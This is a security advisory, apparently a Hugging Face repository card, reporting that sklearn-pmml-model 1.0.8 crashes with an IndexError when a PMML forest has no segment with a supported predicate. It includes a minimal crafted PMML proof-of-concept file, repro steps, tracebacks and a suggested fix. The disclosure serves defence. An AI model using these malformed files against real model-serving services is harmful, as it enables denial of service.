You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

RandomForest loader IndexError on zero valid segments (estimators_[0] on empty list) β€” sklearn-pmml-model

Summary

PMMLForestClassifier and PMMLForestRegressor crash with an uncaught IndexError: list index out of range during __init__ when a malicious/degenerate PMML file contains a <Segmentation> in which no <Segment> carries a supported segment-level <True/> predicate. The loader counts the "valid" segments, derives n_estimators from that count, builds an empty estimators_ list, and then unconditionally indexes self.estimators_[0]. There is no guard that at least one valid estimator was produced β€” even though the code emits its own UserWarning that segments were ignored immediately before the crash.

  • Target: sklearn-pmml-model
  • Version tested: 1.0.8 (pristine PyPI release, pip install sklearn-pmml-model==1.0.8)
  • Python: 3.13
  • Crash sites: sklearn_pmml_model/ensemble/forest.py:92 (classifier), sklearn_pmml_model/ensemble/forest.py:185 (regressor)
  • Entry points: PMMLForestClassifier(path), PMMLForestRegressor(path), and the auto_detect_estimator(path) dispatcher.
  • Trigger: attacker-controlled PMML file (segment predicates), parsed at load time before any prediction β€” cannot be avoided by sanitizing prediction inputs.

Root cause

Both forest constructors build the estimator list from only those segments whose direct child is a <True/> predicate (the only predicate the library supports):

# sklearn_pmml_model/ensemble/forest.py  (PMMLForestClassifier.__init__)
segments = segmentation.findall('Segment')
valid_segments = [segment for segment in segments if segment.find('True') is not None]

if len(valid_segments) < len(segments):
    warnings.warn(
        'Warning: {} segment(s) ignored because of unsupported predicate.'
        .format(len(segments) - len(valid_segments))
    )

n_estimators = len(valid_segments)
RandomForestClassifier.__init__(self, n_estimators=n_estimators, n_jobs=n_jobs)
self._validate_estimator()
# ...
self.estimators_ = [get_tree(self, s) for s in valid_segments]
# ... per-tree loop over self.estimators_ (skipped when empty) ...
self.categorical = [x != -1 for x in self.estimators_[0].n_categories]   # <-- line 92: IndexError

When every segment uses a different (unsupported) predicate β€” e.g. <False/>, <SimplePredicate>, <CompoundPredicate> β€” or the <Segmentation> is empty, valid_segments == [], so:

  • n_estimators = 0;
  • RandomForestClassifier.__init__(n_estimators=0) and _validate_estimator() succeed (no fit() is ever called, so scikit-learn never rejects the zero count);
  • the tree-building comprehension yields self.estimators_ = [];
  • the per-tree for loop body is skipped;
  • self.estimators_[0] on line 92 indexes element 0 of an empty list β†’ IndexError.

The regressor path (PMMLForestRegressor.__init__) is identical, crashing at forest.py:185 with the same self.categorical = [x != -1 for x in self.estimators_[0].n_categories].

All of the counts derive from attacker-controlled XML, and the library never checks that at least one valid estimator exists before dereferencing estimators_[0]. The UserWarning shows the code already recognizes the degenerate input β€” it just fails to guard the subsequent access.

Proof of concept

Verified against a clean venv install of the pristine PyPI release (sklearn-pmml-model==1.0.8, Python 3.13). Three independent demonstrations:

1. Surgical repro from the library's own example (classifier)

Start from the shipped models/rf-iris.pmml (200 <Segment> each with a segment-level <True/>), which loads fine (n_estimators=200). Change only the 200 segment-level <True/> predicates to <False/> β€” every <TreeModel> left byte-for-byte identical. valid_segments becomes empty and the loader crashes at forest.py:92. This isolates the segment predicate as the sole cause.

2. Minimal crafted classifier (does not depend on the large example)

A single <Segment> whose predicate is <False/> plus a stub <TreeModel/>:

<?xml version="1.0"?>
<PMML version="4.4" xmlns="http://www.dmg.org/PMML-4_4">
  <DataDictionary>
    <DataField name="Class" optype="categorical" dataType="string">
      <Value value="a"/><Value value="b"/>
    </DataField>
    <DataField name="x" optype="continuous" dataType="double"/>
  </DataDictionary>
  <MiningModel functionName="classification">
    <MiningSchema>
      <MiningField name="Class" usageType="target"/>
      <MiningField name="x" usageType="active"/>
    </MiningSchema>
    <Segmentation multipleModelMethod="majorityVote">
      <Segment>
        <False/>
        <TreeModel/>
      </Segment>
    </Segmentation>
  </MiningModel>
</PMML>

Crashes identically at forest.py:92.

3. Regressor path

The real models/rf-cat-pima-regression.pmml (7 trees) loads OK; the same file with its segment-level <True/> β†’ <False/> crashes at forest.py:185.

Files in this repo

  • repro.py β€” full runner: neutralizes the 200 <True/> predicates in rf-iris.pmml, runs the negative control + positive case, prints module/version/site/traceback.
  • rf-valid.pmml / rf-notrue.pmml / rf-zero-valid.pmml β€” classifier negative / crafted-negative / positive corpora.
  • rf-minimal-pos.pmml β€” minimal single-segment <False/> classifier PoC.
  • rf-reg-zero.pmml β€” regressor positive (zero valid segments).

Run: python repro.py inside a venv with sklearn-pmml-model==1.0.8.

Captured evidence (verbatim)

module: .../site-packages/sklearn_pmml_model
version: 1.0.8

forest.py:57: UserWarning: Warning: 200 segment(s) ignored because of unsupported predicate.
  warnings.warn(

surgical positive: neutralized 200 segment-level <True/> predicates

=== NEGATIVE CONTROL (200 segments, all with <True/>) ===
    /home/kali/pmml_verify_tmp/sklearn-pmml-model/models/rf-iris.pmml
    OK  -> n_estimators = 200

=== POSITIVE (same file, segment predicates changed True->False => 0 valid segments) ===
    /home/kali/hunt-workspace/pmml-8thbug/rf-zero-valid.pmml
    CRASH IndexError: list index out of range
    SITE  sklearn_pmml_model/ensemble/forest.py line 92

Traceback (most recent call last):
  File ".../ensemble/forest.py", line 92, in __init__
    self.categorical = [x != -1 for x in self.estimators_[0].n_categories]
                                         ~~~~~~~~~~~~~~~~^^^
IndexError: list index out of range

--- also confirmed ---
=== MINIMAL crafted classifier (1 segment, <False/>) ===
  CRASH IndexError: list index out of range | SITE sklearn_pmml_model/ensemble/forest.py line 92
=== NEG regressor (real) ===  OK n_estimators 7
=== POS regressor (0 valid segments) ===  CRASH IndexError: list index out of range | SITE sklearn_pmml_model/ensemble/forest.py line 185

Impact

Denial of service on any service/pipeline that loads untrusted PMML through the forest loaders. The crash occurs at model-load time inside __init__, so applications that accept user-supplied PMML models (model registries, conversion/serving pipelines, auto_detect_estimator-based loaders) can be crashed with a tiny malformed file. A raw IndexError also bypasses any exception handling that only anticipates the library's own Exception('PMML model does not contain ...') validation errors.

Suggested fix

After computing valid_segments / n_estimators, raise an explicit, documented error when n_estimators == 0 (before self.estimators_[0] is dereferenced), e.g.:

if n_estimators == 0:
    raise Exception('PMML model contains no segments with a supported predicate.')

Deduplication

Distinct from prior sklearn-pmml-model findings by this reporter, which involve different code paths and crash types:

  • SparseArray index/DoS issues (sparse_array.py) β€” different file, DoS/index pairing.
  • TreeModel deep-recursion β€” recursion in tree parsing, not the forest segment count.
  • NeuralNetwork allocation DoS, SVM coef mismatch, LogisticRegression segment OOB, TreeModel categorical bitmask overflow β€” different estimators / distinct roots.

This bug is specific to the forest ensemble loader deriving n_estimators from attacker-controlled segment predicates and then unconditionally indexing estimators_[0] when zero valid segments remain (forest.py:92 / :185). No public CVE is known for this specific estimators_[0]-on-empty-list crash at the time of writing.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support